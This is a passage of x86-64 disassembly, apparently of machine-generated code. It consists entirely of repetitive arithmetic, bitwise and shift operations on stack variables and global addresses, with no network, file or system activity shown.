movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf08], ax
lea rax, [0x14017a388]
mov qword [rsp + 0x8d18], rax
movsx eax, byte [rsp + 0x229]
movsx ecx, byte [rsp + 0x1cb]
add eax, ecx
mov byte [rsp + 0x17e], al
lea rax, [rsp + 0xc10]
mov qword [rsp + 0x8d20], rax
mov rax, qword [rsp + 0x6b50]
mov rcx, qword [rsp + 0x6330]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6f48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x63d0]
mov rcx, qword [rsp + 0x6690]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8168]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2e64]
mov dword [rsp + 0x315c], eax
mov rax, qword [rsp + 0x7310]
mov rax, qword [rax]
mov rcx, qword [0x140178e60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ea8], rax
lea rax, [rsp + 0x147]
mov qword [0x14017a8b8], rax
mov rax, qword [rsp + 0x87b0]
movzx eax, word [rax]
mov word [rsp + 0xfac], ax
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6688]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6cf0]
mov byte [rcx], al
movsx eax, word [rsp + 0xd04]
mov rcx, qword [rsp + 0x6c68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0x8670]
movzx eax, word [rax]
mov word [rsp + 0xfb0], ax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x2ee4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8980]
mov dword [rcx], eax
lea rax, [rsp + 0x6738]
mov qword [rsp + 0x8d28], rax
mov eax, dword [rsp + 0x312c]
mov ecx, dword [rsp + 0x2cec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b1c], eax
lea rax, [rsp + 0x56b0]
mov qword [rsp + 0x8d30], rax
movzx eax, byte [rsp + 0x17b]
movzx ecx, byte [rsp + 0x1b1]
sar eax, cl
mov byte [0x140178f2b], al
movsx eax, byte [rsp + 0x116]
movsx ecx, byte [rsp + 0xc5]
shl eax, cl
mov byte [rsp + 0x1ba], al
mov rax, qword [0x14017a3f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x948]
xor eax, ecx
mov word [rsp + 0xac4], ax
movzx eax, byte [rsp + 0x1da]
mov byte [rsp + 0x249], al
movzx eax, word [rsp + 0xf0c]
movzx ecx, word [rsp + 0x9ec]
and eax, ecx
mov word [rsp + 0x978], ax
mov rax, qword [rsp + 0x6840]
mov qword [rsp + 0x8d38], rax
mov rax, qword [rsp + 0x8568]
mov rcx, qword [rsp + 0x6470]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f44], eax
mov rax, qword [rsp + 0x8a58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3030]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x313c], eax
lea rax, [rsp + 0x5fd0]
mov qword [rsp + 0x8d40], rax
movsx eax, word [rsp + 0xba4]
movsx ecx, word [rsp + 0x940]
sub eax, ecx
mov rcx, qword [0x14017a1d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdb]
mov rcx, qword [rsp + 0x7430]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5108]
mov byte [rcx], al
movzx eax, byte [0x14017a205]
mov byte [rsp + 0x24a], al
mov rax, qword [rsp + 0x57e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x71b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov word [rcx], ax
mov rax, qword [rsp + 0x5430]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a0e6]
and eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x7cf0]
mov rax, qword [rax]
mov qword [rsp + 0x8d48], rax
mov rax, qword [rsp + 0x51f8]
mov rcx, qword [rsp + 0x7f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6d50]
mov dword [rcx], eax
lea rax, [rsp + 0x2c0c]
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x8550]
mov rcx, qword [0x14017a058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5dd0], rax
lea rax, [rsp + 0x5e]
mov qword [0x14017a8c0], rax
mov rax, qword [rsp + 0x6fc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d40]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6220]
mov word [rcx], ax
movzx eax, byte [0x140178f1f]
mov byte [rsp + 0x24b], al
movzx eax, word [rsp + 0xf90]
movzx ecx, word [rsp + 0xb54]
shl eax, cl
mov word [rsp + 0x890], ax
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x8d58], rax
mov eax, dword [0x14017a064]
mov ecx, dword [rsp + 0x2b38]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2db8], eax
mov rax, qword [rsp + 0x7478]
mov qword [rsp + 0x8d60], rax
mov eax, dword [rsp + 0x2c54]
mov ecx, dword [rsp + 0x30b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ce0], eax
mov rax, qword [rsp + 0x6980]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7e08]
sar rax, cl
mov rcx, qword [rsp + 0x73f0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x6c]
mov byte [rsp + 0x24c], al
movzx eax, byte [rsp + 0xde]
mov rcx, qword [rsp + 0x4ff8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a6a0]
mov byte [rcx], al
movzx eax, word [rsp + 0xe24]
movzx ecx, word [rsp + 0xf08]
add eax, ecx
mov word [rsp + 0xf5c], ax
mov rax, qword [rsp + 0x5db8]
movzx eax, word [rax]
mov word [rsp + 0xfb4], ax
movzx eax, word [rsp + 0xe6c]
movzx ecx, word [rsp + 0xba8]
sub eax, ecx
mov word [rsp + 0x878], ax
mov rax, qword [rsp + 0x6198]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8748]
mov dword [rcx], eax
lea rax, [rsp + 0x8018]
mov qword [rsp + 0x8d68], rax
mov rax, qword [rsp + 0x6948]
mov rcx, qword [rsp + 0x55d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5178], rax
mov eax, dword [rsp + 0x314c]
mov dword [rsp + 0x3160], eax
movsx eax, byte [rsp + 0x115]
mov rcx, qword [rsp + 0x58e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
movzx eax, byte [rsp + 0x161]
mov rcx, qword [0x14017a6a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a144], al
mov rax, qword [rsp + 0x87c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x908]
and eax, ecx
mov rcx, qword [rsp + 0x6a20]
mov word [rcx], ax
mov rax, qword [rsp + 0x7918]
movzx eax, byte [rax]
mov byte [rsp + 0x24d], al
mov rax, qword [rsp + 0x5d40]
movsx eax, byte [rax]
mov rcx, qword [0x14017a428]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x5d18]
mov rax, qword [rax]
mov qword [rsp + 0x8d70], rax
mov rax, qword [rsp + 0x6590]
mov ecx, dword [rsp + 0x2d1c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2d54], eax
lea rax, [rsp + 0x7478]
mov qword [rsp + 0x8d78], rax
mov rax, qword [rsp + 0x76d8]
mov eax, dword [rax]
mov ecx, dword [0x140178e8c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5ad0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x88]
movzx ecx, byte [rsp + 0x238]
sar eax, cl
mov byte [rsp + 0x218], al
movsx eax, word [rsp + 0xba4]
mov rcx, qword [rsp + 0x7998]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140179004], ax
mov rax, qword [rsp + 0x5a78]
movzx eax, byte [rax]
mov byte [rsp + 0x24e], al
movzx eax, word [rsp + 0xfa0]
mov rcx, qword [rsp + 0x7b58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x70e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5fc8]
movzx eax, word [rax]
mov word [rsp + 0xfb8], ax
mov rax, qword [rsp + 0x7208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7e48]
mov rcx, qword [rsp + 0x6798]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7218]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7578]
mov rax, qword [rax]
mov qword [rsp + 0x8d80], rax
mov rax, qword [rsp + 0x7a10]
mov rcx, qword [rsp + 0x6c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7b68]
mov dword [rcx], eax
movzx eax, word [rsp + 0x888]
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x7298]
movzx eax, byte [rax]
mov byte [0x14017a207], al
movzx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x7220]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0x6298]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdc4]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x77b8]
movzx eax, word [rax]
mov word [rsp + 0xfc0], ax
mov rax, qword [0x14017a2f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6400]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x71e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b54]
mov dword [rsp + 0x3164], eax
mov rax, qword [rsp + 0x5330]
mov rcx, qword [rsp + 0x6060]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c90], eax
mov rax, qword [rsp + 0x8b58]
mov rcx, qword [rsp + 0x7f08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7378], rax
mov rax, qword [rsp + 0x55b0]
mov qword [rsp + 0x8d88], rax
movzx eax, byte [rsp + 0xe0]
mov rcx, qword [rsp + 0x6080]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178ef2], al
mov rax, qword [rsp + 0x84d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ad8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x95c], ax
mov rax, qword [rsp + 0x78e0]
movzx eax, word [rax]
mov word [rsp + 0xfc4], ax
movzx eax, byte [rsp + 0x1d3]
movzx ecx, byte [rsp + 0x22e]
sar eax, cl
mov byte [rsp + 0xab], al
lea rax, [rsp + 0xd7]
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0x6030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8280]
mov qword [rsp + 0x8d98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d98]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7440], rax
mov rax, qword [rsp + 0x6380]
mov rcx, qword [rsp + 0x7e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3028], eax
lea rax, [rsp + 0x2c90]
mov qword [rsp + 0x8da0], rax
mov rax, qword [rsp + 0x8bf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5498]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc44]
movsx ecx, word [0x140178ee0]
sub eax, ecx
mov rcx, qword [0x14017a0a0]
mov word [rcx], ax
lea rax, [rsp + 0x232]
mov qword [rsp + 0x8da8], rax
movzx eax, word [rsp + 0xb78]
mov rcx, qword [rsp + 0x6e18]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf38], ax
mov rax, qword [0x14017a6c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d3]
sub eax, ecx
mov byte [rsp + 0x161], al
lea rax, [rsp + 0x9f0]
mov qword [rsp + 0x8db0], rax
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x5ce8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5c40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8238]
mov rax, qword [rax]
mov qword [rsp + 0x8db8], rax
mov rax, qword [rsp + 0x6300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f70], eax
mov rax, qword [rsp + 0x6060]
mov ecx, dword [rsp + 0x2c10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30fc], eax
mov rax, qword [0x14017a6d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x76b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178f2e], al
movzx eax, word [rsp + 0x910]
mov word [rsp + 0xfc8], ax
mov rax, qword [rsp + 0x7b60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6628]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b40]
mov byte [rcx], al
lea rax, [rsp + 0xe50]
mov qword [rsp + 0x8dc0], rax
mov rax, qword [rsp + 0x7280]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xee4]
add eax, ecx
mov rcx, qword [rsp + 0x7450]
mov word [rcx], ax
mov eax, dword [0x140178e8c]
mov ecx, dword [rsp + 0x310c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b2c], eax
mov rax, qword [rsp + 0x5bb0]
mov eax, dword [rax]
mov dword [rsp + 0x3168], eax
mov rax, qword [rsp + 0x6448]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6360]
mov qword [rsp + 0x8dc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8dc8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6b00], rax
mov rax, qword [rsp + 0x6030]
mov rax, qword [rax]
mov qword [rsp + 0x8dd0], rax
movzx eax, byte [rsp + 0x238]
movzx ecx, byte [rsp + 0x1c7]
shl eax, cl
mov byte [0x14017a206], al
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc58]
or eax, ecx
mov rcx, qword [rsp + 0x6c78]
mov word [rcx], ax
lea rax, [rsp + 0x245]
mov qword [rsp + 0x8dd8], rax
movsx eax, word [0x14017a7e0]
mov rcx, qword [rsp + 0x6700]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xa40], ax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9fc]
and eax, ecx
mov rcx, qword [rsp + 0x52c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x57c8]
mov qword [rsp + 0x8de0], rax
mov rax, qword [rsp + 0x5a50]
mov rcx, qword [rsp + 0x6968]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fd0], rax
lea rax, [rsp + 0x2d14]
mov qword [rsp + 0x8de8], rax
mov rax, qword [rsp + 0x5eb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5738]
mov dword [rcx], eax
movsx eax, word [rsp + 0xafc]
mov rcx, qword [rsp + 0x6528]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140179008], ax
mov rax, qword [rsp + 0x8ba8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x67e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7d68]
mov byte [rcx], al
lea rax, [0x140178e8b]
mov qword [rsp + 0x8df0], rax
movzx eax, word [rsp + 0xdd8]
mov rcx, qword [rsp + 0x7d40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc84], ax
mov rax, qword [rsp + 0x7ef0]
movzx eax, word [rax]
mov word [rsp + 0xfcc], ax
mov rax, qword [rsp + 0x7fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5a90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8228]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d48], rax
lea rax, [rsp + 0x6f38]
mov qword [rsp + 0x8df8], rax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x8cc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7c28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b20]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x140178f07], al
lea rax, [rsp + 0xb38]
mov qword [rsp + 0x8e00], rax
movsx eax, byte [rsp + 0xdc]
movsx ecx, byte [rsp + 0xcf]
sar eax, cl
mov byte [rsp + 0x1ce], al
lea rax, [rsp + 0x17c]
mov qword [rsp + 0x8e08], rax
mov rax, qword [rsp + 0x6a90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xafc]
xor eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5dd0]
mov rcx, qword [0x14017a058]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x81f0], rax
mov rax, qword [rsp + 0x50a0]
mov rax, qword [rax]
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x5db0]
mov ecx, dword [rsp + 0x2fd8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x70a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2cb8]
mov dword [rsp + 0x316c], eax
movzx eax, byte [rsp + 0x118]
mov byte [0x14017a22a], al
movsx eax, byte [rsp + 0x1f2]
movsx ecx, byte [rsp + 0x176]
sub eax, ecx
mov rcx, qword [rsp + 0x8040]
mov byte [rcx], al
movzx eax, word [rsp + 0xab4]
movzx ecx, word [0x140178fa8]
add eax, ecx
mov word [rsp + 0xef4], ax
movzx eax, word [rsp + 0xe30]
mov word [rsp + 0xfd0], ax
movsx eax, byte [rsp + 0x22c]
mov rcx, qword [rsp + 0x5350]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x83b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6f30]
mov eax, dword [rax]
mov dword [rsp + 0x3170], eax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x54a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6750], rax
mov rax, qword [rsp + 0x51d8]
mov rcx, qword [rsp + 0x5a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4f80], rax
lea rax, [rsp + 0x2b60]
mov qword [rsp + 0x8e18], rax
mov rax, qword [rsp + 0x5630]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa58]
sub eax, ecx
mov rcx, qword [rsp + 0x65e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x80f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x199]
add eax, ecx
mov byte [0x14017a195], al
movzx eax, byte [0x140178f13]
mov byte [rsp + 0x24f], al
movzx eax, word [rsp + 0xc84]
mov rcx, qword [rsp + 0x81c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a00]
mov word [rcx], ax
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x23b]
sub eax, ecx
mov rcx, qword [rsp + 0x6eb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x85b8]
mov rax, qword [rax]
mov qword [rsp + 0x8e20], rax
mov eax, dword [rsp + 0x2a48]
movzx ecx, al
mov eax, dword [rsp + 0x3110]
shl eax, cl
mov dword [rsp + 0x2bbc], eax
mov eax, dword [rsp + 0x2f6c]
mov dword [rsp + 0x3174], eax
mov rax, qword [rsp + 0x8cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8220]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5c60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60a8]
movzx eax, byte [rax]
mov byte [rsp + 0x250], al
mov rax, qword [rsp + 0x7818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14017900c], ax
mov rax, qword [0x14017a078]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x924]
sar eax, cl
mov word [rsp + 0xa10], ax
mov rax, qword [rsp + 0x7858]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
and eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov byte [rcx], al
movzx eax, word [rsp + 0xf20]
mov word [rsp + 0xfd4], ax
mov rax, qword [rsp + 0x75b8]
mov rcx, qword [str.kD3]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6c30], rax
mov rax, qword [rsp + 0x8400]
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0x8180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f70], eax
mov eax, dword [rsp + 0x2b10]
mov ecx, dword [rsp + 0x2d2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x70a0]
mov dword [rcx], eax
lea rax, [rsp + 0xaf]
mov qword [rsp + 0x8e30], rax
movsx eax, byte [rsp + 0x1e0]
movsx ecx, byte [rsp + 0x11d]
sub eax, ecx
mov rcx, qword [0x14017a0a8]
mov byte [rcx], al
mov rax, qword [0x14017a6f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6bf8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5c68]
mov word [rcx], ax
lea rax, [rsp + 0xa54]
mov qword [rsp + 0x8e38], rax
movzx eax, word [rsp + 0x990]
movzx ecx, word [rsp + 0x918]
and eax, ecx
mov rcx, qword [rsp + 0x66a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8538], rax
mov eax, dword [rsp + 0x2f98]
mov dword [rsp + 0x3178], eax
mov rax, qword [rsp + 0x69c8]
mov rcx, qword [rsp + 0x6108]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7580], rax
mov rax, qword [rsp + 0x88b8]
mov eax, dword [rax]
mov dword [rsp + 0x317c], eax
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe64]
add eax, ecx
mov rcx, qword [rsp + 0x57e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8910]
movzx eax, byte [rax]
mov rcx, qword [0x14017a300]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140178f2f], al
lea rax, [rsp + 0x62]
mov qword [rsp + 0x8e40], rax
movzx eax, word [rsp + 0xf30]
movzx ecx, word [rsp + 0xcfc]
shl eax, cl
mov word [rsp + 0x978], ax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [0x14017a0fc]
xor eax, ecx
mov rcx, qword [rsp + 0x6688]
mov byte [rcx], al
movzx eax, word [rsp + 0xea0]
mov word [rsp + 0xfd8], ax
mov rax, qword [rsp + 0x79c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7638]
shr rax, cl
mov qword [rsp + 0x5c78], rax
mov rax, qword [rsp + 0x7190]
mov rax, qword [rax]
mov qword [rsp + 0x8e48], rax
mov rax, qword [rsp + 0x6098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d6c], eax
mov rax, qword [rsp + 0x5758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3054]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x85a8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb58]
mov rcx, qword [rsp + 0x89d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140179010], ax
mov rax, qword [rsp + 0x80d0]
movzx eax, byte [rax]
mov byte [rsp + 0x251], al
movzx eax, byte [rsp + 0x72]
movzx ecx, byte [rsp + 0xab]
sub eax, ecx
mov byte [rsp + 0xcc], al
lea rax, [rsp + 0xac4]
mov qword [rsp + 0x8e50], rax
movzx eax, byte [rsp + 0x18d]
movzx ecx, byte [rsp + 0x1ef]
add eax, ecx
mov rcx, qword [rsp + 0x6f68]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8450]
mov qword [rcx], rax
lea rax, [rsp + 0x2b78]
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0x7f88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5548]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8060]
mov eax, dword [rax]
mov dword [rsp + 0x3180], eax
mov rax, qword [rsp + 0x8660]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b2]
and eax, ecx
mov byte [0x140178e6a], al
mov rax, qword [rsp + 0x6b08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
add eax, ecx
mov byte [rsp + 0x10f], al
mov rax, qword [rsp + 0x7a68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6420]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8838]
mov word [rcx], ax
movzx eax, word [rsp + 0xaf8]
mov word [rsp + 0xfdc], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x125]
xor eax, ecx
mov rcx, qword [rsp + 0x81d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7268]
mov rax, qword [rax]
mov qword [rsp + 0x8e60], rax
mov eax, dword [rsp + 0x2af4]
mov rcx, qword [rsp + 0x6790]
mov qword [rsp + 0x8e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e68]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6d90]
mov dword [rcx], eax
lea rax, [rsp + 0x2ebc]
mov qword [rsp + 0x8e70], rax
mov rax, qword [rsp + 0x4eb0]
mov rcx, qword [rsp + 0x5268]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5950], rax
movzx eax, word [rsp + 0x9e4]
mov word [0x14017a8c8], ax
mov rax, qword [rsp + 0x7e40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7820]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5a80]
mov byte [rcx], al
lea rax, [rsp + 0x1cd]
mov qword [rsp + 0x8e78], rax
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xe88]
and eax, ecx
mov word [rsp + 0xbf8], ax
lea rax, [rsp + 0xe2c]
mov qword [rsp + 0x8e80], rax
mov rax, qword [rsp + 0x8758]
mov rcx, qword [rsp + 0x7b10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5788], rax
mov rax, qword [rsp + 0x71c0]
mov rcx, qword [0x140178e78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6770], rax
mov eax, dword [rsp + 0x29f0]
mov dword [rsp + 0x3184], eax
mov rax, qword [rsp + 0x7868]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ec4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5bf0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178efc], ax
lea rax, [rsp + 0xe0c]
mov qword [rsp + 0x8e88], rax
mov rax, qword [rsp + 0x79d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
add eax, ecx
mov rcx, qword [rsp + 0x6c70]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc3]
movzx ecx, byte [rsp + 0x1a8]
add eax, ecx
mov rcx, qword [rsp + 0x7360]
mov byte [rcx], al
movzx eax, byte [rsp + 0x24e]
mov byte [rsp + 0x252], al
mov rax, qword [rsp + 0x7510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5138]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6308]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8af0]
mov qword [rsp + 0x8e90], rax
mov eax, dword [rsp + 0x2c7c]
mov ecx, dword [rsp + 0x2d6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b80], eax
mov rax, qword [rsp + 0x8e58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2b2c]
shr eax, cl
